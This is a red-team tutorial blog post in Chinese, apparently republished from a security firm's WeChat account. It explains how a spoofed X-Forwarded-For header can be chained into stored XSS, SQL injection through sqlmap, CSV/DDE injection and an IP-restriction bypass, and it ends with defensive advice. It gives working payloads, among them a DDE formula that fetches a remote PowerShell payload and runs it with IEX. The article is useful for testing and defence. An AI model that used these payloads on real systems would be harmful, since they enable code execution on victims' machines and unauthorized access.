九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

admin 2022年11月2日20:36:30安全文章评论25 views2014字阅读6分42秒阅读模式

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

   

前言


本篇文章将从 X-Forwarded-For 注入漏洞出发,结合XSS、Sqli、CSV注入等漏洞,挖掘其可能存在安全隐患的场景,从而更好地进行防御。


01、原理


服务端获取客户端请求IP地址,常见的包括:X-forwarded-for、client-ip等请求头,以及remote_addr参数。

remote_addr:指的是当前直接请求的客户端IP地址,无法伪造。

X-forwarded-for:即XFF,是很多代理服务器在请求转发时添加上去的,可以伪造。

client-ip:同XFF,也是代理服务器添加的用于转发客户端请求的真实IP地址,同样保存于请求头中。


大多数Web网站想要获取的是用户的IP,而不是用户使用代理后的IP,所以一般都会使用X-forwarded-for来获取ip。


这也是X-Forwarded-For注入存在的前提。


02、XSS


X-Forwarded-For 存在 XSS 的场景一般是在后台日志记录处,因为大部分后台的系统日志处都会记录用户执行操作对应的IP,然后回显到界面中。

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


随意访问一个功能点,使用burpsuite抓包,构造X-Forwarded-For头:

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


X-Forwarded-For: <script>console.log(‘xss’)</script>

*左右滑动查看更多


为了避免不必要的麻烦,尽量不要使用弹窗 payload。

回到查看系统日志处,打开F12,查看控制台是否输出 ‘xss’ 字符。

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


03、Sqli


X-Forwarded-For 头存在sql注入的场景一般是网站将请求的 X-Forwarded-For 头的值保存到数据库中。

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


1、输入登录用户名和密码Burp抓包并在数据包的请求头中添加:

X-Forwarded-For: *


此处的*会让sqlmap重点扫描


2、将包内容复制到记事本命名为test.txt,使用sqlmap直接进行扫描。

python sqlmap.py -r test.txt --batch        


如果存在sql注入的话,会直接扫描出来。


04、CSV注入


这种场景比较少见,需要满足如下条件:

1.后台日志记录的ip从X-Forwarded-For处获取,且没有进行过滤。

2.日志不经过过滤可以导出成CSV表格。

这时候就可以 X-Forwarded-For 注入 + CSV注入漏洞就有可能造成较大危害了,虽然现在注入命令执行时软件会有提示是否信任,但是企业员工是通过后台导出的表格,所以大概率会相信这个文件是安全的。


CSV注入原理

我们知道在 Excel 中是可以运行计算公式的,例如“ =1+5 ”,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。

Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


虽然单元格的内容在引号内,但由于第一个字符是 = ,它以一个表达式的形式被处理,实际上包括 = - + @这样的符号都会触发这种行为。正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。


检测方式和 XSS 的检测方式相同,只不过需要把payload换成:

X-Forwarded-For: =1+1


导出CSV文件后,如果该列变成2,说明我们可以注入恶意代码。


例如注入powershell上线payload:

=cmd|'/C powershell IEX(wget url)'!A0


05、伪造登录IP绕过登录


存在的场景一般是登录后台时服务器对登录IP进行了限制,例如 IP禁止访问、403禁止访问等,只允许特定的IP访问。

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


尝试把 X-Forwarded-For 指定为 127.0.0.1,也许可以绕过。

X-Forwarded-For : 127.0.0.1


06、防御措施


1.对于直接使用的 Web 应用,必须使用从TCP连接中得到的 remote_addr,才是用户真实的IP;

2.服务端对 X-Forwarded-For 的值进行检测和过滤,丢弃不符规范的请求。

3.使用waf对网站进行防护,可以有效过滤恶意payload。


小结

以上就是关于 X-Forwarded-For 注入适用的场景、攻击和防护手段了。X-Forwarded-For 注入虽然只是较易被忽略的漏洞,但是发散思维,结合各种其他漏洞,就可能收获意想不到的效果。



—  往期回顾  —


九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御


九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御
九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月2日20:36:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  九维团队-红队(突破)| XFF注入漏洞的进阶利用及防御 http://cn-sec.com/archives/1386244.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: